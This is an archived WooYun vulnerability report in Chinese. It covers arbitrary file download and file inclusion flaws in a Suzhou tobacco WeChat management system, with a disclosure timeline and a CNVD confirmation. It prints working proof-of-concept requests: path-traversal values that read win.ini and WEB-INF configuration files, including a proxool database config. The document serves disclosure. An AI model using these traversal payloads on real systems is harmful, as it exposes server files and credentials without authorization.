乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-26: 细节已通知厂商并且等待厂商处理中 2015-09-30: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开 2015-10-10: 细节向核心白帽子及相关领域专家公开 2015-10-20: 细节向普通白帽子公开 2015-10-30: 细节向实习白帽子公开 2015-11-14: 细节向公众公开
任意文件下载、包含
苏州烟草微信管理系统http://**.**.**.**1#任意文件下载2处http://**.**.**.**/a.picauto?path=C:\Windows\win.ini
http://**.**.**.**/public/a.picauto?path=C:\Windows\win.ini
2#文件包含多处
POST http://**.**.**.**/public/ticketcus.jsp.ticket2form_UpdateCus.do HTTP/1.1Accept-Language: zh-CNAccept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7Referer: http://**.**.**.**/public/ticketcus.jsp.ticket2form_Into.do?openId=人为马赛克User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; HM NOTE 1LTE Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025469 Mobile Safari/533.1 MicroMessenger/**.**.**.**_rfe7d7c5.621 NetType/WIFI Language/zh_CNOrigin: http://**.**.**.**Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipConnection: keep-aliveHost: **.**.**.**Cookie: JSESSIONID=1DAD90544DB99EB66DCCA10652391C7DContent-Length: 114returnUrl=../WEB-INF/web.xml&openId=人为马赛克&customerCode=123456789123&customerNo=123456789123
POST http://**.**.**.**/public/personalexpand.jsp.personalform_UpdateExpand.do HTTP/1.1Accept-Language: zh-CNAccept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7Referer: http://**.**.**.**/public/personaldata.jsp.personalform_Update.doUser-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; HM NOTE 1LTE Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025469 Mobile Safari/533.1 MicroMessenger/**.**.**.**_rfe7d7c5.621 NetType/WIFI Language/zh_CNOrigin: http://**.**.**.**Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipConnection: keep-aliveHost: **.**.**.**Cookie: JSESSIONID=1DAD90544DB99EB66DCCA10652391C7DContent-Length: 226returnUrl=../WEB-INF/conf/release_proxool.xml&item9=A&item10=A&item11=02&item12=F&item13=03&item14=B&item15=D&item16=F&item17=B&item18=B&item19=D&item20=B&item21=B&item22=B&item23=A&item24=A&openId=人为马赛克
甚至还有这个
最后说下发现的过程,微信关注苏州烟草,然后开启疯狂扫描模式,就是这样
过滤
危害等级:中
漏洞Rank:10
确认时间:2015-09-30 09:22
CNVD确认所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置.
暂无